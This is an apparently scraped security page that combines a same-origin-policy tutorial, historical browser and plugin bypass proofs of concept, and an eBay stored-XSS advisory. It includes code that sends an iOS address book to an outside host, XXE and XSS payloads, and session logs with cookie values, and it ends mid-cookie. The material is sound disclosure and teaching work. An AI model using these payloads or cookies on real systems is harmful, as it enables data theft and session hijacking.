Search the Community

The same origin policy is an important concept in the web application information security domain. In this policy, a web browser allows scripts contained in a first web page ‘A’ to access data/resources in a second web page ‘B’, however, only if both web pages have the same origin. An origin is defined as a combination of URI scheme, hostname, and port number. This policy prevents a malicious script on one page from obtaining access to sensitive data on another web page through that page’s DOM (document object model). Let’s consider one example in a physical world scenario. Imagine a school where all students within have a different origin. One class has many students, but all are unrelated. If a guardian makes a request to the school staff for his/her son’s classmate’s progress report, the school staff would deny the same as he/she not authenticated for the same. Similarly, if the school received a request for checking a student’s progress report, first they would ensure the requester is a guardian/parent/close relation of the student before granting student’s details/progress report. This is closely related to the browser with the same origin policy (SOP). Now, imagine a school that allowed access to anyone’s progress report to any guardian from the outside world – that would be like a browser without SOP. The same origin policy mechanism defines a particular significance for modern web applications that extensively depend on HTTP cookies to maintain authenticated user sessions, as servers act based on the HTTP cookie information to reveal sensitive information. A strict segregation between content provided by unrelated sites must be maintained on the client side to prevent the loss of data confidentiality or integrity. Same origin policy: Is it really important? Assume that you are logged into the Gmail server and visit a malicious website in the same browser, but another tab. Without implementing the same origin policy, an attacker can access your mail and other sensitive information using JavaScript. For example read private mail, send fake mail, read your chats. Also, Gmail uses JavaScript to enhance the user experience and save round trip bandwidth, so it is really so important that the browser can detect that this JavaScript is trusted to access Gmail resources. That’s where the same origin policy comes into the picture. Now imagine the same scenario and replace Gmail with your online banking application – it could be worse. Understand SOP with DOM: Same origin policy weds document object model When we talk about how JavaScript can access DOM policies, we consider the 3 portions of the URL, which are HOST NAME + SCHEME + PORT. If more than one application has the same hostname, scheme and port and is trying to access the DOM data, access will be granted. However, Internet Explorer only validates hostname + scheme before accessing the same. Internet Explorer does not care about PORT. This is traditional scenario which works well when accessing the same with one origin. In many cases, multiple hosts could be possible within the same root domain which accesses the source page’s DOM. Google is one example, which takes a series of sites’ authentication from the central authentication server. For instance, cart.httpsecure.org may take authentication through login.httpsecure.org. In such cases, the sites can use the document.domain property to allow other sites within the same domain to interact with the DOM (document object model). If you want to allow the code from cart.httpsecure.org to interact with the login.httpsecure.org, the developer will need to set the document.domain property to the root of the domain on both sites. i.e. document.domain = “httpsecure.org” This means that anything in the httpsecure.org domain can access the DOM in the current page. When setting up this way, you should keep in mind that if you deployed another site on the Internet, such as about.httpsecure.org, with some vulnerability, cart.httpsecure.org may vulnerable too and could be accessed at this origin. Let’s suppose an attacker is successfully able to upload some malicious code – then about.httpsecure.org would have same level of access as the login site. Understand SOP with CORS: Same origin policy weds cross-origin resource sharing Cross-origin resource sharing (CORS) is a mechanism that allows many resources (e.g. fonts, JavaScript, etc.) on a web page to be requested from another domain outside the domain from which the resource originated. Let’s suppose an application uses an XMLHttpRequest to send a request to a different origin. In this case you cannot read the response, but the request will arrive at its destination. That’s a very useful feature of cross-origin requests. The SOP also prevents you from reading the HTTP response header and body. The best way to relax the SOP and allow cross-origin communication with XHR is using cross-origin resource sharing (CORS). If the httpsecure.org origin returns the following response header, then every subdomain of httpsecure.org can open a bidirectional communication channel with httpsecure.org: Access-Control-Allow-Origin: *.Httpsecure.org Access-Control-Allow-Methods: OPTIONS, GET, POST, HEAD, PUT Access-Control-Allow-Headers: X-custom Access-Control-Allow-Credentials: true In the above response header, the first line describes the bidirectional communication channel. The second describes that the request can be made using any of the OPTIONS, GET, POST, PUT, HEAD methods, eventually including the third line x-custom header. Access-Control-Allow-Credentials:true specify for allowing authenticated communication to a resource. Understand SOP with plugins: Same origin policy weds plugins Note: If a plugin is installed for httpsecure.org:80, then it will only have access to httpsecure.org:80. Many SOP implementations in Java, Adobe Reader, Flash and Silverlight are currently suffering from different bypass methods. Most of the browser plugins implement the SOP in their own way, such as some versions of Java consider two different domains to have the SOP if the IP is the same. This might have a devastating result in a virtual hosting environment, which host multiple applications with the same IP address. If we talk about some plugins, such as Flash player and the PDF reader plugin, they have a long critical vulnerability history. Most of these issues allow an attacker to execute remote arbitrary code, which is far more critical than SOP bypass. In Flash, you can use the method which allows you to manage cross-origin communication, which can be done using crossdomain.xml, which resides in the root of the application file and might have some of the following code. <?xml version="1.0"?> <cross-domain-policy> <site-control permitted-cross-domain-policies="by-content-type"/> <allow-access-from domain="*.httpsecure.org" /> </cross-domain-policy> Using this code subdomain of httpsecure.org can achieve two-way communication with the application. Crossdomain.xml also supports Java and Silverlight plugins. Understand SOP with UI redressing: Same origin policy weds UI redressing UI redressing is a malicious technique of tricking a web user into clicking on something different from what the user perceives they are clicking on, thus potentially revealing confidential information or taking control of their computer while clicking on seemingly innocuous web pages. UI redressing also known as clickjacking. For the attacker to bypass the SOP, it’s is little different. Some of these attacks rely on the fact the SOP was not enforced when performing the drag and drop function from the main window to an iframe. Understand SOP with browser history: Same origin policy weds browser history When we talk about browser history, the privacy of the end user always a concern. The same origin policy with browser history attack relies on traditional SOP implementation flaws, such as HTTP scheme having access to another scheme. Bypass SOP in Java Let talk about Java versions 1.7u17 and 1.6u45, which don’t enforce the SOP if two domains resolve to the same IP. Httpsecure.org and httpssecure.com resolve to the same IP (share hosting concept). A Java applet can issue cross-origin requests and read the responses. In Java versions 6 and 7, both have an equal method of the URL object. Two hosts are considered equivalent if both host names can be resolved into the same IP address. This type of vulnerability in Java SOP implementation is a critical issue when exploiting in virtual hosting environments where potentially hundreds of domains are managed by the same server and resolved to the same IP. The most important consideration concerning the privileges required by the applet to use the URL are BufferedReader and InputStreamReader objects. In Java 1.6, no user interaction is required to run the applet, however in 1.7, user permission is required to run the same due to the changes in the applet delivery mechanism implemented by Oracle Java 1.7. Now the user must explicitly use the click to play feature to run unsigned and signed applets. This feature can be bypassed using IMMUNITY and led to a subsequent (now patched) bug CVE-2011-3546 found to bypass SOP in Java. Similarly, a SOP bypass was found in Adobe reader. One of the security researchers Neal Poole found one issue: “If the resource used to load an applet was replying with 301 or 302 redirect”, the applet origin was evaluated as the source of the redirection and not the destination. Have a look at the following code: <applet code="malicious.class" archive="http://httpsecure.org?redirect_to= http://securityhacking123.com/malicious.jar" width="100" height="100"> </applet> Bypassing SOP in Adobe Reader Adobe Reader has number of security critical bugs in its browser plugin. Most of the security vulnerabilities are arbitrary code execution due to traditional overflow problems. The Adobe Reader PDF parser understands JavaScript. This attribute is often used by malware to hide malicious code inside PDFs. CVE-2013-0622, found by Billy Rios, Federico Lanusse and Mauro Gentile, allows bypassing the SOP (unpatched 11.0.0 version below). Where exploiting an open redirect which allows a foreign origin to access the origin of the redirect, the request that returns a 302 redirect response code is used to exploit the vulnerability. If we talk about XXE Injection, it involves trying to inject malicious payloads into the request that accepts XML input as below: <!DOCTYPE bar > <!ELEMENT bar ANY > <!ENTITY xxe SYSTEM "/etc/passwd" >]><bar>&xxe;</bar> In this XML parser that allows external entities, the value of &XXE is then replaced by the /etc/passwd. This technique can be used to bypass the SOP. It will load XE and the server will serve you with a 302 redirect response. Bypassing SOP in Adobe Flash Adobe Flash uses the crossdomain.xml file, which can control applications wherever Flash can receive data. We can set a restriction on this file to only trust mentioned sites as follows: <?xml version="1.0"?> <cross-domain-policy> <site-control permitted-cross-domain-policies="by-content-type"/> <allow-access-from domain="*" /> </cross-domain-policy> By setting the allow-access-from domain, a Flash object loaded from any origin can send requests and read responses. Bypassing SOP in Silverlight Silverlight is a Microsoft plugin that uses the same origin policy in the same way as Flash does. However, it uses clientaccess-policy.xml codes shown below: <?xml version="1.0" encoding="utf-8"?> <access-policy> <cross-domain-access> <policy> <allow-from> <domain uri="*"/> </allow-from> <grant-to> <resource path="/" include-subpaths="true"/> </grant-to> </policy> </cross-domain-access> </access-policy> Keep in mind that Flash and Silverlight have differences, such as Silverlight doesn’t segregate access between different origins based on scheme and port as Flash and CORS do. So, https://Httpsecure.org and http://Httpsecure.org consider the same origin policy. Bypassing SOP in Internet Explorer Internet Explorer 8 or below are vulnerable to SOP bypass in their implementation of document.domain. The issue can be exploited easily by overriding the document object and then the domain property. The following code demonstrates the same: var document; document = {}; document.domain = ‘httpsecure.org'; alert(document.domain); his code may cause a SOP violation error code in the JavaScript console if you run this in the latest browser. The same will work in older/legacy browser of Internet Explorer. Using XSS this can be exploited and can open bidirectional communication with other origins. References http://en.wikipedia.org/wiki/Same-origin_policy http://en.wikipedia.org/wiki/Cross-origin_resource_sharing http://en.wikipedia.org/wiki/Clickjacking https://browserhacker.com/ Source

SOP Bypassing in Safari To help you understand better, http://httpsecure.org and file://httpsecure are both treated as a different origin. The Safari browser (IOS and MAC) version 6.0.2 does not enforce the same origin policy when you need to access a local resource. When an attached HTML file tries to open using the file scheme, the JavaScript code contained within can bypass the SOP and start two –way communications with different origins. Consider the following page: <html> <body> <h1> I'm a local file loaded using the file:// scheme </h1> <script> xhr = new XMLHttpRequest(); xhr.onreadystatechange = function (){ if (xhr.readyState == 4) { alert(xhr.responseText); } }; xhr.open("GET", "http://httpsecure.org/docs/safari_sameoriginpolicy_bypassing/other_origin.html"); xhr.send(); </script> </body> </html> Now that the page has loaded the file scheme, the XMLHTTPRequest object is able to read the response after requesting the above mentioned code. SOP Bypassing in Firefox Firefox is the most used browser and the same origin policy bypassing was found by Gareth Heyes in October 2012. The issue found by him is critical and the company decided to fix it and stop its distribution. The issue found in version 16 resulted in unauthorized access to the window.location object outside the constraints of the SOP. The bypassing code is shown below. <!Doctype html> <script> function poc() { var win = window.open('https://httpsecure.org/abc/', 'newWin', 'width=200,height=200'); setTimeout(function(){ alert('Hello '+/^https:\/\/httpsecure.org\/([^/]+)/.exec( win.location)[1]) }, 5000); } </script> <input type=button value="Firefox knows" onclick="poc()"> Execution of the above code from an origin you control will also authenticate into httpsecure on a separate tab of he browser. This loads httpsecure.org/abc and the application redirects to https://httpsecure.org/ <user_uid>/lists (where user_id is your httpsecure handle). After 5 seconds, the exec function will trigger the window.location object to be parsed (here’s the bug, as it shouldn’t be accessible cross-origin) with the regex. This results in the httpsecure handle displayed in the alert box. In August 2012, when Mozilla released its version with support for HTML 5 sandboxed iframes, BRAUN found the issue that, when using allow-script as a value of the iframe sandbox attribute, rogue/fake JavaScript from the iframe content could still access window.top. This would change the outer window.location. <!-- Outer file, bearing the sandbox --> <iframe src="inner.html" sandbox="allow-scripts"></iframe> The framed code was: <!-- Framed document , inner.html --> <script > // escape sandbox: if(top != window) { top.location = window.location; } // all following JavaScript code and markup is unrestricted: // plugins, popups and forms allowed. </script> This code needs to specify with additional code allow-top-navigation, and allows JavaScript code loaded inside an iframe to change the location of window. An attacker could use this to redirect user/victim to a malicious website by hooking the victim of the browser. Note: In HTML5, a new iframe attribute was introduced, called sandbox. The main focus of this new attribute was to have a more granular and secure way to use iframes, with the limited potential harm of third party content embedded from different origins. The sandbox attribute value was set to be zero or the following keywords: allow-forms, allow-popups, allow-same-origin, allow-scripts, allow-top-navigation SOP Bypassing in Opera The same origin policy bypass was found by Heyes. The issue was critical, where Opera was not properly enforcing the same origin policy when overriding prototypes or the constructor of an iframe location object. Let’s take following code example: <html> <body> <iframe id="ifr" src="http://httpsecure.org/xdomain.html"></iframe> <script> var iframe = document.getElementById('ifr'); function do_something(){ var iframe = document.getElementById('ifr'); iframe.contentWindow.location.constructor. prototype. defineGetter__.constructor('[].constructor. prototype.join=function(){console.log("pwned")}')(); } setTimeout("do_something()",3000); </script> </body> </html> Following is the content framed from a different origin: <html> <body> <b>I will be framed from a different origin</b> <script> function do_join(){ [1,2,3].join(); console.log("join() after prototype override: " + [].constructor.prototype.join); } console.log("join() after prototype override: " + [].constructor.prototype.join); setTimeout("do_join();", 5000); </script> </body> </html> In the above mentioned code frame, the console value of constructor.prototype.join is native code used when join() is called on an array. After a few seconds, join() method is called on the [1,2,3] array and the printing function used previously is called again. If you have a deep look back at the above mentioned code, you will see that join() prototype gets overridden inside the do_something() function. Note: Heyes also found SOP bypass by overriding prototypes and using literal values, which were not filtered by Opera before. In the real case scenario, this bypass only works in a frameable web application, so if the application already mitigated vulnerability like CLICKJACKING by frame busting, X-Frame-Option: deny cannot be targeted or consider mitigated. Let’s take an example where the target browser has two tabs open in an Opera browser, where one is a hacked tab and the other is authenticated. If you create an iframe with an src tag in the authenticated origin, you can read the IFRAME content by which you can access any sensitive information. Same Origin Policy Bypassing in Cloud Storage If you think the same origin policy is limited to browsers and their plugins only then, consider this: cloud storage services are also vulnerable to SOP bypass. The same is also found in DROPBOX 1.4.6 on IOS and 2.0.1 on Android, and Google Drive 1.0.1 on IOS. All of these services offer you to store and synchronize files to the cloud. Roi Saltzman found this issue, which is a bit similar to Safari SOP bypass. This bypass relies on the loading of a file in a privileged zone: File://var/mobile/application/app_uuid If an attacker is able to trick the target into loading an HTML file through the client application, the JavaScript code contained in the file will be executed. In this attack, the file is loaded in a privileged zone which allowed JavaScript access to the local file system of the mobile device. FYI: if the HTML file is loaded using the file scheme, nothing prevents JavaScript from accessing another file like: file:///var/mobile/Library/AddressBook/AddressBook.sqlitedb The above mentioned link database contains the user’s address book on IOS. In this, if the target application denies file access outside of the application scope, you can still retrieve the cached file. In this attack, if the user accesses this malicious link, the contents of the user address book will be sent to httpsecure.org. <html> <body> <script> local_xhr = new XMLHttpRequest(); local_xhr.open("GET", "file:///var/mobile/Library/AddressBook/ 150 Chapter 4 ? Bypassing the Same Origin Policy AddressBook.sqlitedb"); local_xhr.send(); local_xhr.onreadystatechange = function () { if (local_xhr.readyState == 4) { remote_xhr = new XMLHttpRequest(); remote_xhr.onreadystatechange = function () {}; remote_xhr.open("GET", "http://httpsecure.org/?f=" + encodeURI(local_xhr.responseText)); remote_xhr.send(); } } </script> </body> </html> Same Origin Policy Bypassing in Cross-Origin Resource Sharing (CORS) CORS is also vulnerable to the same origin policy bypass. CORS has misconfiguration of Access-Control-Allow-Origin: * The above mentioned code is a potential misconfiguration. Research says that more than one million applications misconfigured the Access-Control-Allow-Origin header. This allows any application on the Internet to submit a cross origin request to the site and read the response. The wild card value for the Access-Control-Allow-origin is not so insecure, if a permissive policy is used to provide content that does not contain sensitive information. Source

Document Title: =============== Ebay Inc Xcom #7 - (Policy) Persistent Vulnerability References (Source): ==================== http://www.vulnerability-lab.com/get_content.php?id=1228 Release Date: ============= 2015-03-25 Vulnerability Laboratory ID (VL-ID): ==================================== 1228 Common Vulnerability Scoring System: ==================================== 4 Product & Service Introduction: =============================== eBay Inc. is an American multinational internet consumer-to-consumer corporation, headquartered in San Jose, California. It was founded by Pierre Omidyar in 1995, and became a notable success story of the dot-com bubble; it is now a multi-billion dollar business with operations localized in over thirty countries. The company manages eBay.com, an online auction and shopping website in which people and businesses buy and sell a broad variety of goods and services worldwide. In addition to its auction-style sellings, the website has since expanded to include `Buy It Now` standard shopping; shopping by UPC, ISBN, or other kind of SKU (via Half.com); online classified advertisements online event ticket trading online money transfers and other services. (Copy of the Homepage: http://en.wikipedia.org/wiki/EBay ) Abstract Advisory Information: ============================== The Vulnerability Laboratory Research Team discovered mutliple persistent input validation web vulnerabilities in the official Ebay Xcom Policy Web-Application (CMS & API). Vulnerability Disclosure Timeline: ================================== 2014-03-16: Researcher Notification & Coordination (Benjamin Kunz Mejri - Evolution Security GmbH) 2014-03-17: Vendor Notification (eBay Inc - Security Research Team) 2014-04-16: Vendor Response/Feedback (eBay Inc - Security Research Team) 2015-03-19: Vendor Fix/Patch (eBay Inc - Xcom Developer Team) 2015-03-25: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Affected Product(s): ==================== Ebay Inc. Product: Ebay Inc - Official WebSite Magento Application & API 2014 Q1 Exploitation Technique: ======================= Remote Severity Level: =============== Medium Technical Details & Description: ================================ Multiple application-side input validation web vulnerabilities has been discovered in the official Ebay Xcom Policy Web-Application (CMS & API). A persistent validation web vulnerability allows remote attackers to inject malicious script codes to the application-side of the affected ebay online-service. The vulnerability is located in the `my ebay account > return policy > edit returm policy module. The vulnerable input is the return policy name value. The persistent script code execution occurs in the affected vulnerable sections of the connected `businesspolicy/manage` and `Activity Log - Item Listing` modules. The attack vector is persistent and the severity is medium. The security risk of the persistent web vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 4.0. Exploitation of the persistent input validation vulnerability requires a low privileged web-application user account and low user interaction. Successful exploitation results in session hijacking, persistent phishings attacks, persistent external redirect and malware loads or persistent manipulation of affected and connected module context. Request Method(s): [+] POST Vulnerable Module(s): [+] My Account > Return Policy > Edit Return Policy (http://www.bizpolicy.ebay.com/businesspolicy/) Vulnerable Input(s): [+] Edit return policy > Policy name Vulnerable Parameter(s): [+] name Affected Module(s): [+] ebay.com/businesspolicy/manage [+] Activity Log - Item Listing > Name Proof of Concept (PoC): ======================= The application-side cross site web vulnerability can be exploited by remote attackers with low privileged application user account and low or medium user interaction. For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue. PoC: Manage your business policies http://www.bizpolicy.ebay.com/businesspolicy/return?profileId=52844186015&mode=edit&catId=ALL&profileName=Return+Policy+1+ %22%3E%3Cimg+src%3Dx+onerror%3Dprompt([PERSISTENT INJECTED SCRIPT CODES!])%3B%3E&profileDesc=Returns+Accepted%2C+Buyer%2C+14+Days%2C+Money +Back&catDefault=on&returnsAcceptedOption=ReturnsAccepted&returnsWithinOption=Days_14&refundOption=MoneyBack&shippingCostPaidByOption=Buyer&description=&_=1395079926788 PoC: Manage your business policies <a href="return?totalPages=1&profileType=RETURN_POLICY&profileId=52844186015&pageNumber=1&source=manage">Return Policy 1 [PERSISTENT SCRIPT CODE EXECUTION!]"><img src="x" onerror="prompt(23);"></a> --- PoC Session Logs [GET] (Injection)--- Status: 200[OK] GET http://www.bizpolicy.ebay.com/businesspolicy/return?profileId=52844186015&mode=edit&catId=ALL&profileName=Return++%22%3E%3C[MALICIOUS INJECTED SCRIPT CODE!])%3B%3E&profileDesc=Returns+Accepted%2C+Buyer%2C+14+Days%2C+Money+Back+%22%3E%3C[MALICIOUS INJECTED SCRIPT CODE!])%3B%3E++++%22%3E%3C[MALICIOUS INJECTED SCRIPT CODE!])%3B%3E&catDefault=on&returnsAcceptedOption=ReturnsAccepted&returnsWithinOption=Days_14&refundOption=MoneyBack&shippingCostPaidByOption=Buyer&description=+%22%3E%3C[MALICIOUS INJECTED SCRIPT CODE!])%3B%3E+%22%3E%3C[MALICIOUS INJECTED SCRIPT CODE!])%3B%3E+%22%3E%3C[MALICIOUS INJECTED SCRIPT CODE!])%3B%3E+%22%3E%3C[MALICIOUS INJECTED SCRIPT CODE!])%3B%3E+%22%3E%3C[MALICIOUS INJECTED SCRIPT CODE!])%3B%3E+%22%3E%3C[MALICIOUS INJECTED SCRIPT CODE!])%3B%3E+%22%3E%3C[MALICIOUS INJECTED SCRIPT CODE!])%3B%3E+%22%3E%3C[MALICIOUS INJECTED SCRIPT CODE!])%3B%3E+%22%3E%3C[MALICIOUS INJECTED SCRIPT CODE!])%3B%3E+%22%3E%3C[MALICIOUS INJECTED SCRIPT CODE!])%3B%3E&_=1395079183016 Load Flags[LOAD_BACKGROUND ] Gr???e des Inhalts[-1] Mime Type[application/json] Request Header: Host[www.bizpolicy.ebay.com] User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0] Accept[application/json, text/javascript, */*; q=0.01] Accept-Language[de-de,de;q=0.8,en-us;q=0.5,en;q=0.3] Accept-Encoding[gzip, deflate] X-Requested-With[XMLHttpRequest] Referer[http://www.bizpolicy.ebay.com/businesspolicy/return?totalPages=1&profileId=52844186015&pageNumber=1&source=manage] Cookie[ebay=%5EsfLMD%3D1391608831%5Esin%3Din%5Edv%3D532737c1%5Esbf%3D%23200000000000c0048002004%5Ecos%3D1%5Ecv%3D15555%5Ejs%3D1%5Epsi%3DAMiGpAAE*%5E; dp1=bkms/in56e99ed8^u1f/Benjamin55086b58^tzo/-3c532745e8^idm/153274c6b^exc/0%3A0%3A0%3A0534ec4d8^pcid/159931376355086b58^reg/%5EflagReg%3D1%5E56e99ed8^mms/0.53272b71.053288945^mpc/0%7C77533466d8^a1p/053288958^u1p/MjAxNC5rdW56bQ**55086b58^bl/DE56e99ed8^pbf/%2340000000000081a88200000455086b58^; s=BAQAAAUSucEmyAAWAAAwAClMoiVgxMjI1NjM3OTA2APgAIFMoiVhkMGE1YWU0NTE0NDBhNDI4YjM4MmZlMzJmZmZmZmU4NAAGAAFTKIlYMAFKABhTKIlYNTMyNzM3YzAuMC4xLjExLjc4LjIuMC4yAWUAAlMoiVgjMgASAApTKIlYdGVzdENvb2tpZQA9AApTKIlYMjAxNC5rdW56bQCoAAFTKHhdMQD0ACJTKIlYJDIkQVBLaE5ZL1AkLnVqQ2dESkNIYi52bU9vNXpMUlR6MQDuAH5TKIlYMQZodHRwOi8vbXkuZWJheS5jb20vd3MvZUJheUlTQVBJLmRsbD9NeWVCYXkmbXllYmF5PSZ0b2tlbmlkPTQ4JmN1cnJlbnRwYWdlPU15ZUJheVByZWZlcmVuY2VzJnNzcGFnZW5hbWU9c3VjY2Vzc0FkUHJlZmVyZW5jZXMHAAEAClMoeF0yMDE0Lmt1bnptALgADFMnOQQxMzk1MDc5MzUwOjAAAwABUyiJWDAv3s3bBB0RgoZUFN7eKtp3q+XXQw**; nonsession=BAQAAAUSucEmyAAaAAJ0ACFUIa1gwMDAwMDAwMQC0AAFTJ0XoMAFkAANVCGtYIzhhADMACVUIa1gzNDEyOCxERVUAywABUyc+4DkAmgALUynJ3TIwMTQua3Vuem1uAEAAClUIa1gyMDE0Lmt1bnptABAAClUIa1gyMDE0Lmt1bnptAPMAIlUIa1gkMiRBUEtoTlkvUCQudWpDZ0RKQ0hiLnZtT281ekxSVHoxAMoAIFyNOVhjNzdjZjNkZjE0NDBhMzU4NmMyNDRhZDRmZmZmZmU0ZgFNABhVCGtYNTMyNzM3Y2EuMC4xLjIuMTM2LjAuMC4yAAQAClUIWl0yMDE0Lmt1bnptAJwAOFUIa1huWStzSFoyUHJCbWRqNndWblkrc0VaMlByQTJkajZBR2tvZW5DNWVMb1FxZGo2eDluWStzZVE9PQFMABhVCGtYNTMyNzM3YzAuMC4xLjExLjc4LjMuMC4ymyXRGsd3A9RVp8GyedSQ2Mpg46Y*; cssg=d0a5ae451440a428b382fe32fffffe84; cid=xAMhIMTTiG9hpoAp%231599313763; lucky9=9393341; npii=btguid/c77cf3df1440a3586c244ad4fffffe4f55086b58^cguid/c77cfce61440a56b23d61f96fe2e024155086b58^; ds1=ats/1395074781098; ns1=BAQAAAUSucEmyAAaAAKUADVUIa1gxMjI1NjM3OTA2LzA7ps7P/+muFmbIebGiTM4y7QojOkA*; secses=BAQAAAUSucEmyAAaAAUsAGFUIa1g1MzI3MzdjMC4wLjEuMTEuNzguMi4wLjLdM4p5xXUvbFN7uT+3s6eDqkVrhQ**; shs=BAQAAAUSucEmyAAaAAVUADlMwYV01MTYyMjA1MzEwMDQsM0lQMoD56FArTr0IRZNrcW0RgsFk; JSESSIONID=A6DA3F8E8AAAD1275E907380FF01C01A; ds2=sotr/b7qgDzzzzzzz^] Connection[keep-alive] Response Header: rlogid[t6al%7Cwliodz%3F%3Cwk%7D%3Ee36e*715f-144d1330b33-0x95] Set-Cookie[JSESSIONID=5C2569C0FFBDC86ABDFC0BFBE77658C6; Path=/ ds2=;Domain=.ebay.com;Path=/ ds1=ats/1395074781098;Domain=.ebay.com;Path=/ ebay=%5EsfLMD%3D1391608831%5Esin%3Din%5Esbf%3D%23200000000000c0048002004%5Edv%3D532737c1%5Ecos%3D1%5Ecv%3D15555%5Ejs%3D1%5E;Domain=.ebay.com;Path=/ cssg=d0a5ae451440a428b382fe32fffffe84;Domain=.ebay.com;Path=/ ns1=BAQAAAUSucEmyAAaAAKUADVUIa5MxMjI1NjM3OTA2LzA7u3yVKIuPORIyGkkPfr8OcQuzK7o*;Domain=.ebay.com;Expires=Tue, 17-Mar-2015 17:59:47 GMT;Path=/; HttpOnly dp1=bkms/in56e99f13^u1f/Benjamin55086b93^tzo/-3c53274623^idm/153274c6b^exc/0%3A0%3A0%3A0534ec513^pcid/159931376355086b93^reg/%5EflagReg%3D1%5E56e99f13^mpc/0%7C7753346713^mms/0.53272b71.053288945^a1p/053288993^u1p/MjAxNC5rdW56bQ**55086b93^bl/DE56e99f13^pbf/%2340000000000081a88200000455086b93^;Domain=.ebay.com;Expires=Wed, 16-Mar-2016 17:59:47 GMT;Path=/ s=BAQAAAUSucEmyAAWAAAwAClMoiZMxMjI1NjM3OTA2AAYAAVMoiZMwAPgAIFMoiZNkMGE1YWU0NTE0NDBhNDI4YjM4MmZlMzJmZmZmZmU4NAFKABhTKImTNTMyNzM3YzAuMC4xLjExLjc4LjIuMC4yAWUAAlMoiZMjMgASAApTKImTdGVzdENvb2tpZQA9AApTKImTMjAxNC5rdW56bQCoAAFTKHhdMQD0ACJTKImTJDIkQVBLaE5ZL1AkLnVqQ2dESkNIYi52bU9vNXpMUlR6MQDuAH5TKImTMQZodHRwOi8vbXkuZWJheS5jb20vd3MvZUJheUlTQVBJLmRsbD9NeWVCYXkmbXllYmF5PSZ0b2tlbmlkPTQ4JmN1cnJlbnRwYWdlPU15ZUJheVByZWZlcmVuY2VzJnNzcGFnZW5hbWU9c3VjY2Vzc0FkUHJlZmVyZW5jZXMHAAEAClMoeF0yMDE0Lmt1bnptALgADFMnOT8xMzk1MDc5MzUwOjAAAwABUyiJkzDDEUmmricxEndGpoBjz/CyDgT4jg**;Domain=.ebay.com;Path=/; HttpOnly secses=BAQAAAUSucEmyAAaAAUsAGFUIa5M1MzI3MzdjMC4wLjEuMTEuNzguMi4wLjIkh3iWsd46p2pvujmnDykXMnpWKA**;Domain=.ebay.com;Path=/; HttpOnly nonsession=BAQAAAUSucEmyAAaAAJ0ACFUIa5MwMDAwMDAwMQC0AAFTJ0YjMAFkAANVCGuTIzhhADMACVUIa5MzNDEyOCxERVUAywACUyc/GzEwAJoAC1Mpyd0yMDE0Lmt1bnptbgBAAApVCGuTMjAxNC5rdW56bQAQAApVCGuTMjAxNC5rdW56bQDKACBcjTmTYzc3Y2YzZGYxNDQwYTM1ODZjMjQ0YWQ0ZmZmZmZlNGYA8wAiVQhrkyQyJEFQS2hOWS9QJC51akNnREpDSGIudm1PbzV6TFJUejEBTQAYVQhrkzUzMjczN2NhLjAuMS4yLjEzNi4wLjAuMgAEAApVCFpdMjAxNC5rdW56bQFMABhVCGuTNTMyNzM3YzAuMC4xLjExLjc4LjMuMC4yAJwAOFUIa5NuWStzSFoyUHJCbWRqNndWblkrc0VaMlByQTJkajZBR2tvZW5DNWVMb1FxZGo2eDluWStzZVE9PX7IQgibAoX1mYyjT4uLQSg4TVkI;Domain=.ebay.com;Expires=Tue, 17-Mar-2015 17:59:47 GMT;Path=/ lucky9=9393341;Domain=.ebay.com;Expires=Sat, 16-Mar-2019 17:59:47 GMT;Path=/] Content-Encoding[gzip] Content-Type[application/json;charset=UTF-8] Transfer-Encoding[chunked] Date[Mon, 17 Mar 2014 17:59:47 GMT] Server[eBay Server] Status: 200[OK] GET http://my.ebay.com/ws/eBayISAPI.dll?GetGHNotificationsCommand&up=1&ts=-1&_=1395075357940 Load Flags[LOAD_BACKGROUND ] Gr???e des Inhalts[22] Mime Type[text/plain] Request Header: Host[my.ebay.com] User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0] Accept[text/javascript, application/javascript, application/ecmascript, application/x-ecmascript, */*; q=0.01] Accept-Language[de-de,de;q=0.8,en-us;q=0.5,en;q=0.3] Accept-Encoding[gzip, deflate] X-Requested-With[XMLHttpRequest] Referer[http://my.ebay.com/ws/eBayISAPI.dll?MyEbayBeta&CurrentPage=MyeBayNextNotificationPreferences&FClassic=true&ssPageName=STRK:ME:MANPX&_trksid=p5039.m2295.l3917] Cookie[ebay=%5EsfLMD%3D1391608831%5Esin%3Din%5Esbf%3D%23200000000000c0048002004%5Edv%3D532737c1%5Ecos%3D1%5Ecv%3D15555%5Ejs%3D1%5E; dp1=bkms/in56e99f13^u1f/Benjamin55086b93^tzo/-3c53274623^idm/153274c6b^exc/0%3A0%3A0%3A0534ec513^pcid/159931376355086b93^reg/%5EflagReg%3D1%5E56e99f13^mpc/0%7C7753346713^mms/0.53272b71.053288945^a1p/053288993^u1p/MjAxNC5rdW56bQ**55086b93^bl/DE56e99f13^pbf/%2340000000000081a88200000455086b93^; s=BAQAAAUSucEmyAAWAAAwAClMoiZMxMjI1NjM3OTA2AAYAAVMoiZMwAPgAIFMoiZNkMGE1YWU0NTE0NDBhNDI4YjM4MmZlMzJmZmZmZmU4NAFKABhTKImTNTMyNzM3YzAuMC4xLjExLjc4LjIuMC4yAWUAAlMoiZMjMgASAApTKImTdGVzdENvb2tpZQA9AApTKImTMjAxNC5rdW56bQCoAAFTKHhdMQD0ACJTKImTJDIkQVBLaE5ZL1AkLnVqQ2dESkNIYi52bU9vNXpMUlR6MQDuAH5TKImTMQZodHRwOi8vbXkuZWJheS5jb20vd3MvZUJheUlTQVBJLmRsbD9NeWVCYXkmbXllYmF5PSZ0b2tlbmlkPTQ4JmN1cnJlbnRwYWdlPU15ZUJheVByZWZlcmVuY2VzJnNzcGFnZW5hbWU9c3VjY2Vzc0FkUHJlZmVyZW5jZXMHAAEAClMoeF0yMDE0Lmt1bnptALgADFMnOT8xMzk1MDc5MzUwOjAAAwABUyiJkzDDEUmmricxEndGpoBjz/CyDgT4jg**; 